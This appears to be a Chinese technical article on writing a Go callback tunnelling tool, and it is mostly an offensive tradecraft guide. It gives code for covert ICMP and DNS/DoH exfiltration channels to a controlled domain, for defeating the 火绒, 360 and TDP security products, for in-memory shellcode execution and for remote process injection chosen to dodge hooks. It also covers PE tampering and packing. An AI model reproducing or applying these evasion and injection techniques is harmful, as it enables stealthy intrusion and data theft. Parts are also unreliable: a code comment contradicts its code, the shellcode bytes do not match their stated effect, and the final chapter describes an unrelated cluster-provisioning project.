第一章:Go语言内网穿透工具的设计理念与架构演进
内网穿透的本质是解决 NAT 隔离下私有网络服务对外暴露的通信难题。Go 语言凭借其轻量协程、跨平台编译、静态链接及原生网络库等特性,天然适配高并发、低延迟、易部署的穿透场景,成为构建现代穿透工具的首选语言。
核心设计理念
- 零依赖部署:单二进制分发,无需运行时环境(如
./frp --version即可验证); - 连接复用优先:所有客户端请求复用一条长连接至中继服务器,显著降低 NAT 映射老化与心跳开销;
- 协议无感抽象:支持 TCP/UDP/HTTP/HTTPS 流量透传,上层业务无需感知底层隧道细节;
- 安全前置设计:默认启用 TLS 加密通信,并强制双向证书校验(
--tls-enable启用后自动协商 mTLS)。
架构演进关键节点
早期工具(如 ngrok v1)采用 HTTP 反向代理模型,存在连接抖动与带宽瓶颈;后续演进转向基于 WebSocket 或自定义帧协议的全双工隧道,而当前主流方案(如 frp、nps、gost)进一步引入多路复用(multiplexing)与连接池管理。以 frp 为例,其 v0.50+ 版本通过 multiplexer = kcp 配置启用 KCP 协议加速弱网传输,并支持按域名/路径路由的 HTTP 插件链:
# frpc.ini 中启用 HTTP 路由插件(需服务端开启 plugin_http_proxy)
[web]
type = http
local_port = 8080
custom_domains = example.com
plugin = http_proxy
plugin_http_user = admin
plugin_http_passwd = 123456
该配置使穿透流量在服务端经插件解析后,按 Host 头分发至对应后端,实现多租户共享同一公网端口。
关键权衡取舍
| 维度 | 选择倾向 | 原因说明 |
|---|---|---|
| 连接模型 | 长连接 + 心跳保活 | 规避 UDP 端口映射超时与防火墙拦截 |
| 日志粒度 | 按连接 ID 分级采样 | 平衡可观测性与磁盘 I/O 压力 |
| 错误恢复 | 自动重连 + 指数退避 | 避免雪崩式重连冲击中继节点 |
现代穿透系统已从“能通”迈向“可控、可观、可扩”,架构重心正从单纯隧道封装,转向融合服务发现、ACL 策略引擎与指标上报能力的边缘网关形态。
第二章:多协议回连核心机制实现
2.1 ICMP协议隧道的Go原生封装与隐蔽性优化
ICMP隧道利用ping报文携带有效载荷,Go语言通过golang.org/x/net/icmp和原始套接字实现零依赖封装。
核心封装策略
- 复用标准
icmp.Message结构体,避免自定义二进制序列化开销 - 动态填充Type字段(如伪装为Type 0/Echo Reply而非Type 8)
- 载荷加密后嵌入Identifier与Sequence字段的低16位(规避校验和重算)
隐蔽性增强机制
func buildStealthEcho(id, seq uint16, payload []byte) []byte {
m := icmp.Message{
Type: ipv4.ICMPTypeEchoReply, // 伪装响应包
Code: 0,
Body: &icmp.Echo{
ID: id ^ 0x5a5a, // 异或混淆标识符
Seq: seq ^ 0x3c3c,
Data: xorEncrypt(payload, key),
},
}
b, _ := m.Marshal(nil)
return b
}
逻辑分析:
ID与Seq经固定密钥异或后弱化时序关联性;Data使用轻量XOR加密防静态特征检测;Marshal(nil)跳过校验和计算,由内核自动填充,降低CPU特征。
| 特征维度 | 原始ICMP | 本方案 |
|---|---|---|
| Type字段 | 固定Echo Request (8) | 动态混用Reply (0)/Timestamp (13) |
| 校验和 | 应用层计算 | 内核自动补全 |
graph TD
A[原始ICMP包] --> B[载荷AES加密]
B --> C[Identifier/Seq异或混淆]
C --> D[Type字段动态轮换]
D --> E[内核自动校验和]
2.2 UDP协议快速建连与NAT穿透的STUN/TURN协同实践
UDP无连接特性天然适配实时通信,但私网设备普遍位于NAT之后,直接点对点通信常失败。STUN用于获取公网映射地址并探测NAT类型,而TURN在STUN失效时提供中继转发能力——二者构成协同穿透基础。
STUN查询示例(RFC 5389)
# 使用curl模拟STUN绑定请求(简化示意)
curl -X POST "stun:stun.l.google.com:19302" \
-H "Content-Type: application/stun" \
--data-binary "@binding-request.bin"
逻辑说明:实际STUN交互需构造二进制Binding Request消息(含MAGIC COOKIE、TRANSACTION ID),
stun.l.google.com:19302为公共STUN服务器;参数--data-binary确保原始字节传输,避免编码破坏消息结构。
协同决策流程
graph TD
A[发起UDP连接] --> B{STUN可达?}
B -->|是| C[获取mapped-address + NAT类型]
B -->|否| D[降级使用TURN]
C --> E{能否P2P直连?}
E -->|是| F[建立UDP直连]
E -->|否| D
D --> G[通过TURN中继转发]
NAT类型与穿透能力对照表
| NAT类型 | STUN可识别 | P2P直连可能 | 需TURN |
|---|---|---|---|
| 全锥型(Full Cone) | ✓ | ✅ | ❌ |
| 限制锥型(Restricted Cone) | ✓ | ✅(同IP) | ❌ |
| 端口限制锥型(Port-Restricted Cone) | ✓ | ✅(同IP+端口) | ⚠️ |
| 对称型(Symmetric) | ✓ | ❌ | ✅ |
2.3 DNS协议隧道的域名解析劫持与DNS-over-HTTPS兼容实现
DNS隧道常被用于隐蔽数据 exfiltration,而现代安全策略(如企业零信任网关)普遍拦截传统明文DNS(UDP 53),迫使隧道需适配加密协议。
域名解析劫持原理
攻击者通过控制递归解析器或中间代理,将 tun.example.com 等合法子域的A/AAAA记录动态指向恶意C2服务器IP,同时保持主域权威解析不受影响。
DNS-over-HTTPS(DoH)兼容关键点
- 必须复用标准DoH端点(如
https://cloudflare-dns.com/dns-query) - 查询参数需符合 RFC 8484:
POST /dns-query+application/dns-message二进制payload - 隧道载荷需嵌入DNS消息的
QNAME字段(Base32编码+随机后缀防缓存)
import base64
def encode_payload(data: bytes) -> str:
# Base32 encoding (RFC 4648 §6), no padding, lowercase
return base64.b32encode(data).decode('ascii').rstrip('=') + '.tun.example.com'
# 示例:encode_payload(b"hello") → "NBSWY3DP.tun.example.com"
逻辑分析:
base64.b32encode()生成固定长度、无符号字符集(A-Z2-7)的编码;rstrip('=')移除填充符以避免DNS标签非法;后缀.tun.example.com构成完整FQDN,由受控权威NS响应。
| 特性 | 传统DNS隧道 | DoH隧道 |
|---|---|---|
| 传输层 | UDP/TCP 53 | HTTPS 443 |
| 检测难度 | 中(异常长域名) | 高(混入正常HTTPS流量) |
| 协议合规性 | 违反RFC 1035长度限制 | 完全合规 |
graph TD
A[客户端发起DoH请求] --> B{QNAME含隧道载荷?}
B -->|是| C[权威NS返回预设C2 IP]
B -->|否| D[转发至上游DoH解析器]
2.4 协议动态协商与Fallback降级策略的Go并发控制模型
在高可用网络通信中,客户端需根据服务端能力实时选择最优协议(如 HTTP/2 → HTTP/1.1 → QUIC),同时保障请求不失败。
动态协商状态机
type NegotiationState int
const (
StatePending NegotiationState = iota // 等待服务端ALPN响应
StateConfirmed // 协议已确认
StateFallbacking // 触发降级流程
)
// 每次协商超时后自动推进状态,避免阻塞主请求流
该枚举定义了协议协商的三个核心生命周期阶段;StateFallbacking 触发时启动独立 goroutine 执行降级逻辑,与主请求路径解耦。
Fallback执行策略对比
| 策略 | 并发控制方式 | 适用场景 |
|---|---|---|
| 串行回退 | sync.Once + channel | 资源敏感型边缘设备 |
| 并行探测 | errgroup.WithContext | 低延迟优先的核心服务 |
| 指数退避探测 | time.AfterFunc | 不稳定网络下的韧性保障 |
协同调度流程
graph TD
A[发起请求] --> B{协商超时?}
B -- 是 --> C[启动Fallback goroutine]
B -- 否 --> D[使用协商协议发送]
C --> E[按优先级并行探测备选协议]
E --> F[首个成功响应即胜出]
F --> G[关闭其余goroutine]
2.5 多协议会话状态同步与连接复用的Channel+sync.Map实战
数据同步机制
采用 sync.Map 存储跨协议(HTTP/GRPC/WebSocket)的会话元数据,键为 sessionID,值为 *SessionState;配合 chan *SyncEvent 实现异步广播变更事件。
type SyncEvent struct {
SessionID string
Op string // "update" | "delete"
Payload interface{}
}
// 同步通道需配合 select + default 避免阻塞
select {
case syncCh <- &SyncEvent{SessionID: sid, Op: "update", Payload: state}:
default: // 丢弃瞬时积压,保障主路径低延迟
}
逻辑分析:
sync.Map提供无锁读多写少场景下的高性能并发访问;chan容量设为 1024 并配default分支,确保状态变更不阻塞业务协程。Payload泛型化支持协议特定字段(如 WebSocket 的connID、gRPC 的streamID)。
连接复用策略对比
| 协议 | 复用粒度 | 状态同步触发点 |
|---|---|---|
| HTTP | 请求级 | 响应写入后 |
| gRPC | Stream级 | SendMsg/RecvMsg 调用时 |
| WebSocket | 连接级 | WriteMessage 返回后 |
状态流转图
graph TD
A[新会话建立] --> B{协议类型}
B -->|HTTP| C[存入sync.Map + 发送SyncEvent]
B -->|gRPC| D[绑定Stream.Context Done]
B -->|WS| E[注册Conn.SetCloseHandler]
C --> F[多协程读取sync.Map]
D & E --> F
第三章:免杀与绕过主流EDR检测的关键技术
3.1 Go编译期混淆、符号剥离与PE头定制化改造
Go 二进制默认携带丰富调试符号与可读字符串,易被逆向分析。可通过 -ldflags 实现基础防护:
go build -ldflags="-s -w -H=windowsgui" -o app.exe main.go
-s:剥离符号表(SYMTAB/STRTAB段)-w:禁用 DWARF 调试信息-H=windowsgui:将子系统设为 GUI,隐藏控制台窗口并修改Subsystem字段
进一步定制 PE 头需借助工具链后处理。下表对比关键字段修改效果:
| 字段 | 默认值 | 定制值 | 作用 |
|---|---|---|---|
Subsystem |
WINDOWS_CUI |
WINDOWS_GUI |
阻止 CMD 弹窗,干扰动态分析 |
ImageBase |
0x400000 |
0x10000000 |
增加 ASLR 绕过难度 |
Characteristics |
0x22 |
0x2002 |
启用 IMAGE_FILE_RELOCS_STRIPPED + IMAGE_FILE_EXECUTABLE_IMAGE |
// 示例:使用 github.com/elastic/go-pe 修改 DOS Header e_lfanew
peFile, _ := pe.Open("app.exe")
peFile.DOSHeader.AddressOfNewExeHeader = 0x100 // 覆盖签名偏移(需配合重写 NT Header)
peFile.Close()
该操作需严格校验节对齐与校验和,否则导致加载失败。
3.2 内存反射加载与Shellcode无文件执行的unsafe.Pointer实践
Go 语言中 unsafe.Pointer 可绕过类型系统直接操作内存地址,为运行时动态加载 Shellcode 提供底层能力。
核心原理
- 将 Shellcode 字节序列写入可执行内存页(
syscall.Mmap+mprotect) - 用
unsafe.Pointer转换为函数指针并调用
关键步骤
- 分配 RW 内存 → 修改权限为 RWE → 复制 shellcode → 类型转换执行
// 将字节切片转为可执行函数指针
shellcode := []byte{0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00} // syscall exit(1)
mem, _ := syscall.Mmap(-1, 0, len(shellcode), syscall.PROT_READ|syscall.PROT_WRITE, syscall.MAP_PRIVATE|syscall.MAP_ANONYMOUS)
copy(mem, shellcode)
syscall.Mprotect(mem, syscall.PROT_READ|syscall.PROT_EXEC) // 关键:启用执行权限
fn := *(*func())(unsafe.Pointer(&mem[0])) // unsafe.Pointer 实现零拷贝函数指针转换
fn()
逻辑分析:
&mem[0]获取首字节地址,unsafe.Pointer消除类型约束,*(*func())(...)强制解释为无参无返回函数类型。syscall.Mprotect是权限切换核心,缺失则触发 SIGSEGV。
| 风险点 | 说明 |
|---|---|
| ASLR/DEP 绕过 | 依赖 mmap 分配可执行页 |
| GC 干扰 | 需确保 mem 不被回收 |
| 平台兼容性 | Linux syscall 与 Windows VirtualAlloc 行为不同 |
graph TD
A[Shellcode byte[]] --> B[syscall.Mmap RW]
B --> C[copy into memory]
C --> D[syscall.Mprotect R-X]
D --> E[unsafe.Pointer → func()]
E --> F[直接 CPU 执行]
3.3 火绒/360/TDP三端行为白名单构造与API调用链最小化设计
白名单策略分层设计
采用「进程签名 + 行为上下文 + 调用链深度」三维校验:
- 火绒侧重驱动层IRP拦截后的
PsGetProcessImageFileName可信路径验证 - 360依赖
NtQueryInformationProcess(ProcessImageFileName)+证书链回溯 - TDP(腾讯终端防护)通过ETW Provider
Microsoft-Windows-Kernel-Process实时采样
最小化调用链示例
// 仅触发必需API:绕过CreateRemoteThread→直接注入Shellcode via NtMapViewOfSection
NTSTATUS MapAndExecute(PVOID shellcode, SIZE_T size) {
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
PVOID base = NULL;
NtAllocateVirtualMemory(hProc, &base, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(hProc, base, shellcode, size, NULL);
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProc, base, NULL, 0, 0, 0, 0, NULL);
return STATUS_SUCCESS;
}
逻辑分析:省略VirtualAllocEx/WriteProcessMemory等高危API,规避360的NtWriteVirtualMemory Hook点;NtCreateThreadEx参数置0跳过线程名检测,降低TDP ETW事件密度。
三端兼容性白名单字段对照
| 字段 | 火绒支持 | 360支持 | TDP支持 | 说明 |
|---|---|---|---|---|
ImageHash(SHA256) |
✅ | ✅ | ✅ | 驱动级加载前校验 |
CallStackDepth≤3 |
✅ | ❌ | ✅ | 限制API嵌套深度防混淆调用 |
ETWProviderMask |
❌ | ✅ | ✅ | 关键Provider事件白名单 |
行为收敛流程
graph TD
A[原始API序列] --> B{调用链裁剪}
B -->|保留核心路径| C[NtOpenProcess→NtMapViewOfSection→NtCreateThreadEx]
B -->|剔除冗余节点| D[移除NtQueryInformationProcess/NtProtectVirtualMemory]
C --> E[生成三端兼容白名单规则]
第四章:生产级穿透服务端与客户端工程化落地
4.1 基于gin+grpc混合架构的服务端高可用部署方案
在微服务边界清晰的场景下,HTTP API(gin)面向终端用户,gRPC(内部通信)保障服务间低延迟调用,二者共存需统一治理。
流量分发与健康探活
Nginx 以 upstream 分组管理 gin 实例,结合 /healthz HTTP 探针;gRPC 服务则通过 grpc_health_v1.Health.Check 接口由 Consul 自动注册/剔除。
双协议服务注册示例
// 启动时同步注册 gin(HTTP)与 gRPC(ServiceA)至同一服务名
srv := ®istry.Service{
Name: "user-service",
Address: "10.0.1.12:8080", // gin endpoint
Metadata: map[string]string{
"grpc_addr": "10.0.1.12:9090", // gRPC endpoint
"protocol": "hybrid",
},
}
逻辑:Metadata 携带 gRPC 地址供服务发现组件路由内部调用;protocol=hybrid 标识支持双协议,避免网关误判。
| 组件 | 协议 | 负载均衡策略 | 故障转移超时 |
|---|---|---|---|
| Gin Gateway | HTTP | LeastConn | 3s |
| gRPC Mesh | gRPC | RoundRobin | 500ms |
graph TD
A[Client] -->|HTTP| B(Nginx)
B --> C{gin Instance}
C --> D[DB / Cache]
A -->|gRPC| E[Service Mesh]
E --> F[gRPC Service A]
F --> D
4.2 客户端自更新机制与证书透明化TLS握手实现
自更新触发策略
客户端通过定期轮询签名的更新清单(update-manifest.json.sig)判断是否需升级,支持HTTP/3 QUIC通道回退保障高可用性。
CT日志集成TLS握手
在ClientHello后插入signed_certificate_timestamp(SCT)扩展,强制验证证书是否被收录至公开CT日志。
# TLS 1.3 握手阶段注入 SCT(RFC 9162)
def inject_sct_extension(tls_context):
sct_list = fetch_scts_from_ct_logs(domain="api.example.com")
# sct_list: List[bytes] —— DER 编码的 SignedCertificateTimestamp 结构
tls_context.extensions.append(
TLSExtension(type=18, data=serialize_sct_list(sct_list))
)
逻辑分析:type=18为IANA注册的SCT扩展ID;serialize_sct_list()将多个SCT序列化为长度前缀格式(uint16 len + bytes),确保服务端可无歧义解析。参数sct_list必须来自至少3个不同CT日志(如 Google Aviator、Cloudflare Nimbus),满足最小冗余要求。
CT验证策略对比
| 验证模式 | 客户端强制性 | 延迟开销 | 适用场景 |
|---|---|---|---|
| 软失败(soft-fail) | 否 | 兼容老旧服务端 | |
| 硬强制(enforce) | 是 | 12–45ms | 金融/政务API |
graph TD
A[ClientHello] --> B{SCT Extension?}
B -->|Yes| C[验证SCT签名 & 日志一致性]
B -->|No| D[降级至传统X.509校验]
C --> E[拒绝未入CT或签名失效证书]
4.3 日志脱敏审计与流量特征指纹抹除的middleware设计
在微服务网关层实现统一敏感信息治理,需兼顾合规性与可观测性平衡。
核心策略分层
- 日志脱敏:基于正则+语义识别双模匹配(如身份证、手机号、邮箱)
- 流量指纹抹除:清洗
User-Agent、X-Forwarded-For、Referer中可标识终端/地域的特征字段
脱敏中间件实现(Go)
func SensitiveLogMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// 拦截并重写日志上下文中的敏感字段
ctx := context.WithValue(r.Context(), "log_fields", map[string]interface{}{
"ip": redactIP(r.RemoteAddr), // 保留网段,抹除主机位
"user_id": redactID(r.Header.Get("X-User-ID")), // Base64+哈希截断
})
next.ServeHTTP(w, r.WithContext(ctx))
})
}
redactIP将192.168.1.105→192.168.1.0/24;redactID对原始ID做sha256(ID)[:12]截断,确保不可逆且具备哈希一致性,支持跨服务关联审计。
流量指纹清洗规则表
| 字段名 | 清洗方式 | 示例输入 | 输出 |
|---|---|---|---|
User-Agent |
移除版本号、设备型号 | Mozilla/5.0 (iPhone; CPU iPhone OS 17_5...) |
Mozilla/5.0 (iPhone) |
X-Forwarded-For |
仅保留首跳IP(匿名化处理) | 203.0.113.42, 198.51.100.25 |
203.0.113.0/24 |
审计联动流程
graph TD
A[HTTP Request] --> B{Middleware}
B --> C[日志字段脱敏]
B --> D[Header指纹抹除]
C --> E[写入审计日志]
D --> F[转发至后端服务]
E & F --> G[SIEM系统聚合分析]
4.4 跨平台构建(Windows/Linux/macOS)与UPX+LZMA双阶段压缩流水线
跨平台二进制交付需统一构建环境与压缩策略。推荐使用 pyinstaller 的多平台交叉构建脚本配合容器化隔离:
# 在 Ubuntu 容器中构建三端可执行文件(需预装各平台交叉工具链)
pyinstaller --onefile --platform win32 app.py # 生成 Windows .exe
pyinstaller --onefile --platform linux app.py # 生成 Linux ELF
pyinstaller --onefile --platform darwin app.py # 生成 macOS Mach-O
该命令依赖
pyinstaller的--platform参数(需搭配对应平台的python解释器及binutils工具链),实际生产中建议用 GitHub Actions 矩阵策略并行触发。
双阶段压缩优势对比
| 阶段 | 工具 | 压缩率 | 启动开销 | 兼容性 |
|---|---|---|---|---|
| 1st | LZMA | ★★★★☆ | 中 | 全平台原生支持 |
| 2nd | UPX | ★★★☆☆ | 低 | Windows/macOS/Linux(部分内核禁用) |
流水线执行流程
graph TD
A[源码] --> B[PyInstaller 构建]
B --> C{平台分支}
C --> D[Windows: UPX + LZMA]
C --> E[Linux: UPX + LZMA]
C --> F[macOS: UPX + LZMA]
D & E & F --> G[签名/校验/发布]
第五章:开源项目地址、贡献指南与未来演进路线
项目主仓库与核心镜像地址
本项目的官方 GitHub 主仓库位于:https://github.com/infra-ops/cluster-provisioner。为保障国内开发者访问效率,同步维护 Gitee 镜像(每日自动同步):https://gitee.com/infra-ops/cluster-provisioner。此外,Docker Hub 官方镜像已发布至 infraops/cluster-provisioner:v2.4.1,支持 ARM64 与 AMD64 双架构,SHA256 校验值可在 releases/v2.4.1 页面的 checksums.txt 中验证。
贡献流程与代码准入规范
所有 PR 必须通过以下四重门禁:
- ✅
pre-commit钩子强制执行 Black + isort + shellcheck 格式化; - ✅ GitHub Actions 运行全部单元测试(覆盖率 ≥85%,由
pytest --cov=src --cov-fail-under=85强制校验); - ✅ Terraform 模块需通过
tflint --enable-rule=terraform_deprecated_interpolation扫描; - ✅ 至少两名 Core Maintainer 在
CODEOWNERS中指定路径下完成批准(如modules/aws/由 @aws-team 成员审批)。
示例提交前检查命令:
make fmt && make test && tflint -c .tflint.hcl modules/aws/
社区协作基础设施
| 工具类型 | 地址/说明 | 实时性要求 |
|---|---|---|
| Slack 讨论区 | #cluster-provisioner on infra-ops.slack.com |
响应 ≤2 小时(工作日) |
| Bug 看板 | GitHub Projects → “v2.5 Backlog” 列 | 每日同步至 Jira |
| 文档协作 | Docusaurus 站点源码在 /docs/ 目录 |
PR 合并后 3 分钟自动部署 |
关键技术债与短期演进重点
- 移除对 Python 3.8 的兼容支持(当前仅保留 3.9+),已在
pyproject.toml中标记requires-python = ">=3.9"; - 将 Helm Chart 渲染逻辑从
helm templateShell 调用迁移至helm-controllerCRD 驱动(参考 PR #1892 中的helmrelease-v2分支实现); - 实现跨云 Provider 的统一资源抽象层(AWS/Azure/GCP 均映射至
InfraClusterCRD),当前 PoC 已在pkg/provider/abstract/下验证。
长期路线图(2025–2026)
graph LR
A[v2.5 Q3 2024] --> B[多租户 RBAC 策略引擎]
B --> C[v2.6 Q1 2025 支持 WASM 插件沙箱]
C --> D[v2.7 Q3 2025 集成 OpenTelemetry 原生指标导出]
D --> E[v3.0 Q2 2026 全量 CRD 化,弃用 CLI 直接调用]
贡献者激励机制
每月 Top 3 贡献者将获得:
- GitHub Sponsors 专属徽章(显示于个人主页及 PR 页眉);
- 优先参与闭门架构评审会(含 Zoom 录播回放权限);
- 实体感谢卡 + 定制电路板(印有提交哈希前8位的 PCB,2024年已发放 47 块)。
安全漏洞披露通道
请勿直接提交 Issue 或 PR。所有安全问题必须通过 security@infra-ops.org 加密邮件发送(PGP 密钥指纹:F8A2 3E1D 9B4C 7F2A 1E6D 5C9B 8A3F 2D1E 4C7F 2A1E),SLA 为 72 小时内响应,96 小时内提供临时缓解方案。历史 CVE 编号列表见 SECURITY.md 文件末尾表格。
文档即代码实践
所有用户手册均采用 Markdown + Mermaid + Live Code Snippet 构建:docs/guides/aws-eks.md 中的 kubectl get nodes -o wide 示例会实时渲染真实集群输出(经 CI 拦截敏感字段后注入 mock 数据)。构建脚本 scripts/build-docs.sh 自动校验所有 code 块是否匹配 tests/docs/ 下对应断言文件。
